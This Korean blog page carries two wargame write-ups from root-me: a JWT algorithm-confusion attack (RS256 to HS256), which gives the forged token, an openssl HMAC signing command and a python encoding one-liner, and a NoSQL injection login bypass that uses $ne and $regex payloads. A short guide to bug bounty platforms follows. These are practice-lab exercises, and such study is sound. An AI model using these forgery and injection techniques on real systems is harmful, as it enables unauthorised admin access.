반응형

JWT(Json Web Token) - Public Key 문제를 풀어보도록 하겠습니다.

JWT에 대한 아주 기초적인 설명은 이전 포스트에서 언급했기 때문에 넘어가도록 하겠습니다.

2019/12/20 - [Study/Wargame] - [root-me] JSON Web Token (JWT) - Introduction

 

이번 문제는 이전 포스트에서 얘기한 JWT Attack 케이스 중 CASE3. algorithm 변조(RS256 to HS256)에 해당하는 문제였습니다.
HS256 알고리즘은 비밀키(Secret Key)를 사용하여 토큰의 Header와 Payload를 서명하고 인증하는 반면, RS256 알고리즘은 개인키(Private Key)를 사용해 서명하고, 이를 검증하기 위해 공개키(Public Key)를 사용합니다.

만약, 서명 알고리즘을 RS256에서 HS256으로 변경할 경우, 인증 서버에서는 공개키(Public Key)를 비밀키(Secret Key)로 사용하고 HS256 알고리즘을 사용해 서명을 확인합니다. 이러한 경우 공격자는 공개되어 있는 공개키(Public Key)를 얻어 토큰을 서명하고 HS256 알고리즘으로 서명을 검증해 JWT Attack이 이루어지는 것입니다.

 

문제를 풀어보도록 하겠습니다.

문제에 접속해보면 아무것도 없는 페이지가 출력되고 있습니다. 

하지만, 문제 설명(첫번째 사진)에 보면 대략적인 설명이 나와있습니다.

/key, /auth, /admin 이렇게 3가지의 end point가 있고, 이 문제의 목표는 admin section에 접근하는 것입니다.

 

순서대로 end point에 접근해보면서 정보를 모아보았습니다.

우선, /key 페이지에 접근하면 공개키(Public Key)를 쉽게 얻을 수 있습니다.

 

그다음엔 /auth 페이지에 POST 메소드로 접근해보았습니다. 메시지에 username 파라미터가 필요하다고 합니다.

 

username=admin 이라는 값을 삽입한 후 다시 한번 접근해보았습니다.

그렇지만, admin이 아니라는 Error 메시지만 출력되네요.

 

이번에는 username=guest 값을 삽입해보았습니다.

JWT 토큰 값을 얻었습니다~!

 

JWT 값을 BASE64 디코딩해보니 Header에 서명 알고리즘이 RS256, Payload에 username이 guest 임을 확인할 수 있습니다.

https://jwt.io/ << JWT 토큰 값 인코딩/디코딩 사이트

 

공격을 위해 Header의 alg 값을 HS256으로 변경하고 Payload를 우리가 원하는 값, 즉 admin으로 변경하였습니다.

더보기

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0

 

이번에는 누락된 검증 값을 얻는 과정입니다. 서명에 사용할 공개키(Public Key)가 필요한데, 해당 문제에서는 /key 페이지에서 확인할 수 있습니다. 실제 환경에서는 서버의 TLS 인증서를 이용할 수도 있다고 합니다.

 

/key 페이지에서 획득한 공개키(Public Key)를 ASCII hex 값으로 인코딩합니다.

더보기

2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541354568376c65726a69732f426839776443725a590a613268426d414c2f74322b4558767471764e396f734f754b6771336e5043774b5947347831494d32517177325a6e6930345949707055416b4a4e745a5a3541380a7855616749375654654d5872696f37634179656e71724e58386c4371663575746174392f584251613636346f4e5165565977556377593274635275547945444e0a6849377270706b4654715933704d6e437a514d6b6f6b6e5173467a6a616e76436763476d395738487349303956735430336b4e59422f59786b61323449796c680a51365255376e336b38555346562b6431395249666e364a6779554634747a646e65756757614245394c54776659304c2b45784a4e58473553306c6b466a7275790a4b796556763049374d684d79395843634d7462533450584330327357526e6f6b3552312f466e6b5153394b555a567075475257327036666d65754f4446396b520a33514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

ASCII hex 값으로 인코딩하는 이유는 Bytes를 사용자가 제어할 수 있을 뿐만 아니라 명령어 입력 시 안전하게 처리할 수 있기 때문이라고 합니다.

 

공개키(Public Key)를 HS256 알고리즘을 사용해서 서명합니다.

더보기

echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541354568376c65726a69732f426839776443725a590a613268426d414c2f74322b4558767471764e396f734f754b6771336e5043774b5947347831494d32517177325a6e6930345949707055416b4a4e745a5a3541380a7855616749375654654d5872696f37634179656e71724e58386c4371663575746174392f584251613636346f4e5165565977556377593274635275547945444e0a6849377270706b4654715933704d6e437a514d6b6f6b6e5173467a6a616e76436763476d395738487349303956735430336b4e59422f59786b61323449796c680a51365255376e336b38555346562b6431395249666e364a6779554634747a646e65756757614245394c54776659304c2b45784a4e58473553306c6b466a7275790a4b796556763049374d684d79395843634d7462533450584330327357526e6f6b3552312f466e6b5153394b555a567075475257327036666d65754f4446396b520a33514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

위의 명령어 입력 시 2ae5e070aaaa6e5eadc625c28598b9b766745a199e9482cfb912bf75e784e169 라는 결과를 얻었습니다.

 

위의 명령어는 획득한 HMAC 서명 값(2ae~)이 ASCII hex 값인데 이를 JWT 포맷으로 변경해주는 작업입니다.

더보기

python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('2ae5e070aaaa6e5eadc625c28598b9b766745a199e9482cfb912bf75e784e169')).replace('=','')\")"

명령어 실행 시 서명 값 KuXgcKqqbl6txiXChZi5t2Z0WhmelILPuRK_deeE4Wk 를 얻을 수 있습니다.

 

이제 완벽한 JWT 값이 만들어졌으니 인증 값을 전송해보도록 하겠습니다.

/admin 페이지에 접근해보니 [Authorization: Bearer JWT]  형식으로 인증하라고 쓰여있습니다.

 

헤더 값에 생성한 JWT 값을 추가하여 서버로 전송합니다.

jwt 값을 이용해 admin 권한으로 인증되어 Flag 값을 얻을 수 있습니다!

더보기

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.KuXgcKqqbl6txiXChZi5t2Z0WhmelILPuRK_deeE4Wk


※ 참고자료

- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Hacking%20JSON%20Web%20Token%20(JWT)%20-%20Rudra%20Pratap.pdf 

- https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/

- https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] SQL injection - Error  (0) 2020.03.12
[root-me] JSON Web Token (JWT) - Weak secret  (0) 2020.03.06
[root-me] NoSQL Injection - Authentication  (0) 2020.03.03
[root-me] File upload - ZIP  (0) 2020.02.12
[root-me] PHP - preg_replace()  (0) 2020.01.08
반응형

NoSQL Injection 문제입니다. Admin 권한을 탈취하는 것이 아닌 hidden user를 찾는 것이 목표입니다.

그전에 앞서 우선 NoSQL 대해 알아보도록 하겠습니다.


NoSQL 이란?

NoSQL(=Not Only SQL)은 문서 저장소, 키값 저장소, 그래프 등과 같은 다른 저장 메커니즘에 의존하는 비관계형 데이터베이스입니다. 기존에 사용하던 관계형 데이터베이스로는 엄청난 수의 서버에 데이터를 배포해야 하는 소셜 네트워크 서비스를 제공할 수 없었기에 더 융통성 있고, 데이터의 저장 및 검색에 특화된 메커니즘, NoSQL이 각광받게 되었습니다.

가장 많이 쓰는 NoSQL DBMS로는 MongoDB, Cassandra, Redis 등이 있으며, NoSQL 데이터베이스의 인기는 지속적으로 증가하고 있는 추세입니다.

 

NoSQL 또한 초창기에는 보안적으로 미흡한 부분이 많이 보여지고 있습니다. 암호화, 인증 및 역할 관리 미흡, 네트워크 노출, DOS 공격 등을 허용하고 있었습니다. 그중에서 가장 자주 사용되는 공격 기법인 NoSQL Injection에 대해 써보려고 합니다.

 

NoSQL Injection

NoSQL Injection은 SQL Injection 공격과 크게 다르지 않습니다. 문법의 차이일 뿐입니다.

사용자 id와 패스워드를 이용한 로그인 매커니즘을 예를 들어보겠습니다. 아래는 HTTP POST 페이로드입니다.

userid=zzzz0&passwd=password1!

그리고 이것을 처리하고 MongoDB 쿼리 하는 PHP 코드는 아래와 같습니다.

db->logins->find(array("userid"=>$_POST["userid"], "passwd"=>$_POST["passwd"]));

개발자가 전송하는 쿼리는 다음과 같습니다.

db.logins.find({ userid : 'zzzz0', passwd : 'password1!' })

PHP는 공격자가 악의적인 페이로드를 보낼 수 있도록 연관 배열 메커니즘을 제공하고 있습니다.

userid[$ne]=1&passwd[$ne]=1

위와 같은 페이로드가 왔을 때, PHP 코드는 아래와 같습니다.

array("userid"=> array("$ne" => 1), "passwd" => array("$ne" => 1));

MongDB 쿼리는 다음과 같습니다.

db.logins.find({ userid : { $ne: 1 }, passwd : { $ne: 1 } })

$ne는 != 를 의미하는데, 이는 userid가 1이 아니고, passwd가 1이 아닌 항목, 즉 로그인 컬렉션의 모든 항목(사용자)을 반환한다는 것을 의미합니다. 따라서, 이 취약점을 이용해 로그인 인증 메커니즘을 우회해 로그인, 비인가 데이터 액세스, 비인가자 서비스 이용 등의 공격이 이루어질 수 있습니다.


문제를 풀어보면서 NoSQL Injection을 더 이해해보도록 하겠습니다.

 

문제에 들어가면, Nickname과 패스워드를 입력받는 로그인 폼이 보입니다.

어떤 방식으로 로그인이 이루어지는지 확인해보기 위해 admin/admin을 입력해보았습니다.

 

GET 메소드를 이용해 login, pass 파라미터가 전송되고 있습니다.

 

위에서 입력한 admin/admin의 결과 값은 Bad username or bad password!라고 로그인 에러가 출력됩니다.

 

앞에서 확인한 방법으로 $ne를 이용해 로그인 메커니즘 우회를 시도해보았습니다.

login이 admin 아니고, pass가 admin(임의 사용)이 아닌 사용자, test로 로그인되었습니다.

 

이번에는 login이 test가 아니고, pass가 admin이 아닌 사용자로 연결을 시도해보았습니다.

문제의 목표인 hidden user가 나오지 않고 그냥 admin으로 로그인되어버립니다.

 

 

MongoDB는 $ne 뿐만 아니라 많은 쿼리 연산자를 제공하고 있습니다.

{}[]() 관계 묶음 $ne not equal $regex 정규 표현식
', " 문자열 처리 $exist 키 존재 여부 $gt >
: 연결자 $where 필터링 스크립트 $lt <

 

MongoDB에서는 정규 표현식을 사용할 수 있었습니다. 

따라서, login이 admin도 아니고 test도 아닌 사용자를 찾는 쿼리를 전송하니 hidden user가 출력되었습니다.

 

정규 표현식을 잘 설명한 블로그 링크를 첨부하도록 하겠습니다.

https://hamait.tistory.com/342

 

※ NoSQL 참고 자료 

- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20NoSQL,%20No%20injection%20-%20Ron,%20Shulman-Peleg,%20Bronshtein.pdf

-https://medium.com/@shukla.iitm/nosql-injection-8732c2140576

-https://www.samsungsds.com/global/ko/support/insights/1195843_2284.html

반응형
반응형
1. 개요

버그 바운티란? 

특정 기업에서 제공하는 서비스와 제품을 해킹해서 취약점을 발견한 해커에게 포상금을 지급하는 제도입니다.

구글, 애플, 페이스북 등 많은 기업이 버그 바운티 프로그램을 활용하고 있으며, 국내에서도 2012년부터 KISA(한국인터넷진흥원)이 도입하여 운영 중입니다.

하지만, 버그 바운티를 운영하고 있는 기업이라고 해서 무턱대고 공격을 수행하는 것은 아닙니다.

일반적으로는 해커와 기업을 연결하는 전문 업체(해커원 등)를 이용하고 있으며, 자체 플랫폼을 이용하는 경우도 있습니다.

현재 기준(2020년)으로 버그 바운티를 수행할 수 있는 플랫폼을 소개해볼까 합니다.

 

2. Hackerone

해커원은 버그 바운티를 운영하는 기업과 화이트 해커를 연결해주는 세계 최대 플랫폼입니다.

 

해커원의 버그 바운티는 아래의 프로세스로 진행되고 있습니다.

1. Create an account. https://hackerone.com/users/sign_up // 계정 생성

2. Verify your email. // 이메일 인증

3. Configure your profile and account settings under Settings. // 프로필 세팅

4. Explore Hacktivity to see what hacker activity is trending. // Hacking

5. Submit a vulnerability report. // 보고서 작성 및 제출(외국기업이기 때문에 영어로 작성 필요..ㅠ)

 

로그인 후 [Programs] 메뉴에 접속하면, 버그 바운티를 운영하고 있는 기업의 리스트가 나열된 것을 확인할 수 있습니다.

 

임의의 기업을 클릭해서 들어가면 상단에 리포트를 제출하는 버튼이 있습니다. 취약점 제보는 저기를 통해서 하면 되겠죠?

하단에는 운영중인 버그 바운티 프로그램의 정책들과 세부사항이 나와있습니다.

 

가장 하단의 In Scope 즉 대상 범위의 도메인을 대상으로 취약점 진단을 진행하시면 됩니다.

기업마다 비슷한 Program Rules가 제정되어 있으나, 버그 바운티를 진행하기 전 꼭 필독하시고 진행하셔야 합니다.

회원가입 시 해커원 이메일을 사용해야 한다거나, 이름을 이렇게 써라..라는 등의 정책이 있더라고요!

 

3. KISA

국내의 버그 바운티는 KISA(한국인터넷진흥원)이 운영 중에 있습니다.

 

그러나, 신고대상 취약점이 '소프트웨어'에 대한 보안 취약점으로 최신 버전의 소프트웨어 영향을 줄 수 있는 신규 보안 취약점(제로데이 취약점)라고 한정되어 있습니다.

아래에 나온 기업을 대상으로 버그 바운티를 진행하시면 될 것 같습니다.

https://www.krcert.or.kr/consult/software/vulnerability.do 왼쪽 링크에 가셔서 정책과 주의사항을 다시 한번 확인하시고 진행하시길 바랍니다^^

 

4. 자체 플랫폼 - NAVER

네이버는 국내에서 자체로 버그 바운티 프로그램을 운영하고 있는 기업 중 하나입니다.

 

위의 도메인과 소프트웨어를 대상으로 버그 바운티를 운영 중이며, 

자세한 사항은 https://bugbounty.naver.com/ko/에서 확인하시면 됩니다.

 

5. 자체 플랫폼 - RidiBooks

리디북스에서도 현재 버그 바운티를 자체적으로 운영하고 있습니다.

 

대상의 위의 도메인과 애플리케이션을 참고하시면 되고요,

https://ridi.dev/bounty.html에서 더 자세한 사항 확인하시면 됩니다.

 

 

 

현재 기준으로 버그 바운티가 가능한 플랫폼을 정리해보았습니다. 추후 다른 곳을 찾으면 추가로 업로드하겠습니다.

반응형

'Study > Bug Bounty' 카테고리의 다른 글

[XSS]Blind XSS(Cross Site Scripting)  (2) 2021.01.20
[XSS] DOM Based XSS(Cross Site Scripting)  (0) 2020.04.17

+ Recent posts

반응형
반응형